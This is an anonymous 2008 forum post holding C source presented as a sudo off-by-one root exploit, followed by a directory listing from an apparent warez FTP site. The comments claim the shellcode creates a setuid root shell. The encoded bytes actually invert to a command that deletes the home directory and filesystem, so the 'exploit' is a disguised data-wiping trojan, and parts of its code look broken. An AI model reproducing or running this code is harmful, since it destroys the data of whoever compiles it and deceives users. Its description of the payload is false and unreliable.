Name: Anonymous 2008-01-29 14:54
Oh!
/*
* off by one ebp overwrite in sudo prompt parsing
function
* discovered by beyond security in 2008, thx ge
*
* to compile: gcc -pipe -o sobo sobo.c ; ./sobo
*
* please use responsibly! a patch has already been
sent
* upstream and a fix will be included in the next
sudo release
*
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#define SPROMPT "%u@%h> \\%"
#define shellcode esp
#define RETS_NUM 246
#define NOPS_NUM 116
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
void fill (char *buff, int size, unsigned long val) {
unsigned long *ptr = (unsigned long *) buff;
for (size /= sizeof (unsigned long); size > 0;
size--) *ptr++ = val;
}
unsigned long get_sp (void) {
__asm__ ("lea esp, %eax");
}
char *exp (char nops_nums, char rets_nums, char
*shellcode) {
int size = strlen (SPROMPT) + nops_nums + rets_nums
+ strlen (shellcode);
unsigned char *nops = alloca (nops_nums);
unsigned char *rets = alloca (rets_nums);
unsigned long ret = get_sp ();
static char exp_buffer [8192];
/* ensure isatty() fails */
close (0); close (1); close (2);
fill (nops, (unsigned char) nops_nums, 0x90909090);
fill (rets, (unsigned char) rets_nums, ret);
if (size > sizeof (exp_buffer)) {
fprintf (stderr, "buffer is too small\n");
return NULL;
}
snprintf (exp_buffer, sizeof (exp_buffer),
"%s%s%s%s",
SPROMPT, nops, shellcode, rets);
return exp_buffer;
}
int main(int argv, char *argc[]) {
char *exploit = exp (NOPS_NUM, RETS_NUM, shellcode);
execl ("/usr/bin/sudo", "/usr/bin/sudo", "-b", "-p",
exploit, "/bin/false", NULL);
/* shellroot should await you @ "HISTFILE=/dev/null
/tmp/.beyond -p" */
return 0;
}
Listing of /0DAY/0DAY/:
drwxrwxrwx 104 0 glftpd 8192 Jan 1 23:32 0101
drwxrwxrwx 167 0 glftpd 12288 Jan 2 23:28 0102
drwxrwxrwx 194 0 glftpd 12288 Jan 3 23:48 0103
drwxrwxrwx 149 0 glftpd 12288 Jan 4 22:47 0104
drwxrwxrwx 144 0 glftpd 12288 Jan 5 23:51 0105
drwxrwxrwx 138 0 glftpd 8192 Jan 7 00:11 0106
drwxrwxrwx 180 0 glftpd 12288 Jan 7 23:18 0107
drwxrwxrwx 173 0 glftpd 12288 Jan 8 23:22 0108
drwxrwxrwx 205 0 glftpd 12288 Jan 10 00:00 0109
drwxrwxrwx 216 0 glftpd 16384 Jan 11 00:00 0110
drwxrwxrwx 227 0 glftpd 16384 Jan 11 22:26 0111
drwxrwxrwx 225 0 glftpd 16384 Jan 12 23:20 0112
drwxrwxrwx 47 0 glftpd 4096 Jan 13 23:15 0113
drwxrwxrwx 46 0 glftpd 4096 Jan 14 20:56 0114
drwxrwxrwx 71 0 glftpd 4096 Jan 16 00:00 0115
drwxrwxrwx 62 0 glftpd 4096 Jan 16 19:05 0116
drwxrwxrwx 31 0 glftpd 4096 Jan 17 23:50 0117
drwxrwxrwx 27 0 glftpd 4096 Jan 18 19:55 0118
drwxrwxrwx 30 0 glftpd 4096 Jan 19 23:33 0119
drwxrwxrwx 36 0 glftpd 4096 Jan 20 23:23 0120
drwxrwxrwx 42 0 glftpd 4096 Jan 21 23:15 0121
drwxrwxrwx 12 0 glftpd 4096 Jan 22 20:37 0122
drwxrwxrwx 68 0 glftpd 8192 Jan 23 23:16 0123
drwxrwxrwx 52 0 glftpd 4096 Jan 24 23:56 0124
drwxrwxrwx 26 0 glftpd 4096 Jan 25 23:27 0125
drwxrwxrwx 2 0 glftpd 4096 Jan 25 22:00 0126
drwxrwxrwx 2 0 glftpd 4096 Jan 26 22:00 0127
drwxrwxrwx 26 0 glftpd 4096 Jan 28 22:13 0128
drwxrwxrwx 27 0 glftpd 4096 Jan 29 23:11 0129
drwxrwxrwx 50 0 glftpd 4096 Jan 30 23:57 0130
drwxrwxrwx 49 0 glftpd 4096 Jan 31 20:54 0131
drwxrwxrwx 51 0 glftpd 4096 Feb 2 00:00 0201
drwxrwxrwx 57 0 glftpd 4096 Feb 2 23:39 0202
drwxrwxrwx 69 0 glftpd 4096 Feb 3 23:03 0203
drwxrwxrwx 30 0 glftpd 4096 Feb 4 22:05 0204
drwxrwxrwx 56 0 glftpd 4096 Feb 6 00:01 0205
drwxrwxrwx 24 0 glftpd 4096 Feb 6 15:03 0206
drwxrwxrwx 20 0 glftpd 4096 Feb 7 22:24 0207
drwxrwxrwx 55 0 glftpd 4096 Feb 8 20:25 0208
drwxrwxrwx 70 0 glftpd 4096 Feb 9 23:36 0209
drwxrwxrwx 70 0 glftpd 4096 Feb 10 23:41 0210
drwxrwxrwx 52 0 glftpd 4096 Feb 11 23:35 0211
drwxrwxrwx 34 0 glftpd 4096 Feb 12 20:16 0212
drwxrwxrwx 29 0 glftpd 4096 Feb 13 19:29 0213
drwxrwxrwx 54 0 glftpd 4096 Feb 14 22:35 0214
drwxrwxrwx 53 0 glftpd 4096 Feb 15 22:54 0215
drwxrwxrwx 118 0 glftpd 8192 Feb 16 23:47 0216
drwxrwxrwx 6 0 glftpd 4096 Feb 17 01:45 0217
drwxrwxrwx 53 0 glftpd 4096 Feb 19 00:02 0218
drwxrwxrwx 26 0 glftpd 4096 Feb 19 22:52 0219
drwxrwxrwx 40 0 glftpd 4096 Feb 20 17:29 0220
drwxrwxrwx 46 0 glftpd 4096 Feb 21 23:46 0221
drwxrwxrwx 10 0 glftpd 4096 Feb 22 02:18 0222
drwxrwxrwx 353 0 glftpd 8192 Jan 12 19:02 2007